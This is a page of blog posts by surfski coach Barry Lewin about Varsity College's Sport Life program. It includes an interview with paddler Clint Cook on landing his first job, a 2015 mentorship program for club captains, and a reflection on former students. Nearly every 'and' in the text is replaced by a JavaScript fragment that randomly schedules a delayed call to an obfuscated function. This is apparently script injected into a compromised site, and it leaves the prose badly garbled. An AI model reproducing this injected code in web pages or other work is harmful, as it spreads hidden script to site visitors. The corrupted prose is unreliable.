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    Sharing Your Story – Edition 4 – Sport Life with Clint Cook

    Written by Barry Lewin on . Posted in Coaching

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    In this blog series, ‘Sharing Your Story’, I attempt to share the stories I come across that inspire me. In this addition I interview Clint Cook, a top paddler in our Durban community, as he goes through the challenges of leaving Varsity College andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and finding his first full time job.

    In tough economic times where jobs are few, you need to standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and out from the crowd andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have skills to add value to the job market. The success Clint has had, I believe is directly a result of the environment he has been involved in, as part of the Sports Life program at Varsity College.

    I have known Clint since he moved from Joberg to Durban some year’s back, having seen him has grow as a paddler andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a strong personality off the water too. I have had the privilege of him work for me as a coach at my Surfskischool in Durban andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was blown away by his friendly nature andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and great people skills.

    Clint recently went for his first job interviews andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has been successful a landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding a position with a top Durban firm. I shared some of his experiences over this time andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and couldn’t help feel inspired for the students leaving Varsity College.

    I have had a long relationship with Varsity College, first as a student andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and believe that the skills I learnt there prepared me for the challenges of owning my own business. Their focus of preparing students not just to pass, but for the working world has always been a standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and out, with sport andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and part time work off campus, always being at the forefront of this mantra.

    Sport Life (Varsity College’s Sporting Clubs on campus) offer students the opportunity to get involved in sports, network andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and live a healthier lifestyle, preparing them for success. It is awesome to see this program has impacted so positively on Clint andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and others.

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    Here is the interview:

    BL. How were you first introduced to Varsity College?

    CC. I was introduced to Varsity College by Grant Van Der Walt (Sports Life Captain on the Durban North Campus). I had made a return to paddling after a 2 year gap andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Grant suggested I sign up.

    BL. What did you decide to study?

    CC. I studied an HCBPP (Higher certificate in Business principles andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and practice) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a BCom in Financial management.

    BL. How did you involved with Sport Life on campus?

    CC. When I went for my interview with Varsity College, The Principle, Keith andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Student Adviser, Jo Taylor recommended I get involved with the Sports life program as canoeing was a sport offered by VC.

    BL. What skills did you pick up at VC that standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you apart from your peers?

    CC. VC taught me how to be myself, be an individual andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tall. It also taught me that hard work pays off.

    BL. What did you learn from sport outside the class?

    CC. Sport has taught me that what you put in, is what you get out. It has given me self discipline andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a sense of purpose.

    BL. What part time work did you do outside of VC to build your skills?

    CC. In 2015 I worked as a part time Surf Ski coach at the Surfskischool. This was great as a means of making extra cash, as well as teaching andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sharing my love for paddling with others.

    BL. How did the skills learnt though your years as a student impact your interviewing for your first job?

    CC. When I interviewed for my first job, I knew I had the necessary skills to face any challenge as well as cope with anything that the job may throw at me. Lucie Bouwer from the VC careers Centre was a great help andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mentor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gave solid advice.

    BL. What were the defining factors in you getting the position?

    CC. My passion for sports as well as my achievements, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the higher education andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and skills I gained from studying my degree through VC.

    BL. How do you believe VC has prepared you for the work place now that you are in the working world?

    CC. VC offered me a platform to jumpstart my life, the amount of things that VC has taught me is completely invaluable andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and these things will now stay with me for life.

    BL. What advice would you give students starting out at VC?

    CC. For students starting at VC, I suggest you get involved, get stuck in. Work hard, make friends with the Lecturers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and staff, these relationships provide you with bridges to a better future.

    BL. What advice would give a student going for his/her first interview?

    CC. For a student interviewing, I would say that VC has taught you what you need to know, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with that qualification behind you there’s nothing you can’t do.

    Thanks to Clint for sharing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and good luck with a successful career.

    Varsity College Sport Life Mentorship Program 2015

    Written by Barry Lewin on . Posted in Coaching

    vc sport

    Since 2003 I have had an awesome partnership with Varsity College, who for many years have believed in more than educating their students, but preparing them for the work place.

    This ethos has rubbed off into a number of other elements of what they do. Sports Life, which is their healthy lifestyle balanced sporting program at all their campuses around the country, sponsors a number of students as, Sport Life Club Captains. Their roles are twofold: 1. managing their sporting clubs on campus andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 2. Act as a VC brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ambassador in their respective sporting discipline.

    For most 18-year-old students entering Varsity College life, they have little experience with sponsors andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and being a brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ambassador. Instead of letting them stumble their way through the year, Varsity College asked me to help put together a program to help prepare these students for their roles on campus andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and within the wider sporting community.

    It was a privilege to work with Varsity College on this awesome project andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and even more special to be able to pass on some of the lessons I have learnt over the years under their support.

    We put together a 3-week program with the following topics for mainly Surfski, Canoeing, MTB andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Surfing athletes.

    Week 1 – What is a brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ambassador? What is return on investment? How to manage expectation? How to build a relationship with a sponsor?

    Week 2 – Goal Setting for personal sport andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and for the sports club

    Week 3 – Marketing, brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding, social media andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and reporting

    It was great so see how interactive the sessions were with students giving some awesome ideas andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feedback.

    The result of the sessions has been profound for those involved andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it is great to see how well the athlete are doing in growing the sport on campus as well as in their

    sporting fields.

    There are a thousandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and examples of this that I can go through but there are really too many for this blog. Just a glance down the Sport Life twitter handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andle will show what sort of impact these students are making on andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and off campus, check it out here https://twitter.com/VCSportsLife

    The thing I love the most, is that Varsity College are really going above andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and beyond to support their athletes in the classroom andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in their sporting endeavours. This balance is key to success andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Sports Life ethos of VC certainly is alive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and well.

    I hope to do another blog on these awesome students later in the year as they lead into the National Inter Varsity Canoeing Champs on the Fish River in October.

    For more information on Varsity College Check out their links below

    Website
    Facebook
    Twitter
    Sport Life on Twitter
    Sport Life Program

    Sport Life Breading Success Though Surfski

    Written by Barry Lewin on . Posted in Coaching

    This last week, on my way for a paddle I bumped into a Varsity College Sports Life session on progress so took some photos to share with you along with some of the programs success.

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    But lets start at the beginning. I spent quite some time at Varsity College as a student, maybe more than required due to my sporting calendar overpowering my studies at times. VC luckily were very understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and supportive of the benefits of sport.

    The Varsity College back then, was not quite what you see today, they have grown andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and evolved, incorporating sport into the campuses with their ‘Sports Life’ program. It may look a little different but the mindset or ethos that VC has embodied has been the same in preparing a well-rounded individual for the real world.

    I bumped into a friend Shaun Austin who was one of the first Sport Life students, when the program was started. Shaun has come through the ranks just like I did but more in the structure of today andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and he had so many positive points I really connected with. Her are some of the key things we shared about our experience with Varsity College andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their Sports Life Program.

    • Studying Opportunity

    Varsity College certainly opened doors for me, I would never have been able to continue studying into post grad if they were not supporting me. Shaun said the same. It allows people who would not have been able to study that opportunity or those that could have the backing to go further.

    • Sporting Opportunity

    The sporting structures at VC don’t just give support academically. Each sport life student is assisted with kit, money to cover entry fee’s andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and travel as well as advice on marketing tools to build a career from the sport.

    • Team Work

    The value of being in a team at VC was awesome. I remember racing down the Fish side by side with Clint Pretorius to a 2nd andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 3rd place, bringing home big points for VC in the national intervarsity competition. The team also worked together in running the club on campus building valuable people skills.

    • Part Time Work

    I worked my way through Varsity College doing part time jobs from coaching to even starting my own little businesses to bring in some cash to travel or support my paddling. This certainly helped in building market related awereness of the work place. Something VC are still strong on today.

    • Networking

    The people I have met through sport have become a group of friends, clients andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sponsors. A valuable lesson to always nurture quality relationships in life.

    Shaun today has finished his honors in Marketing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and moved into a good company. He believes that he wouldn’t be where he is now without the support of VC over the years. I feel the same andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and am really excited more young paddlers are getting the same opportunities.

    If you want to find out more about the sports life program check out http://www.varsitycollege.co.za/sport.aspx

    Or book an interview with Jody Taylor at the Durban North Campus on 0315732038

     

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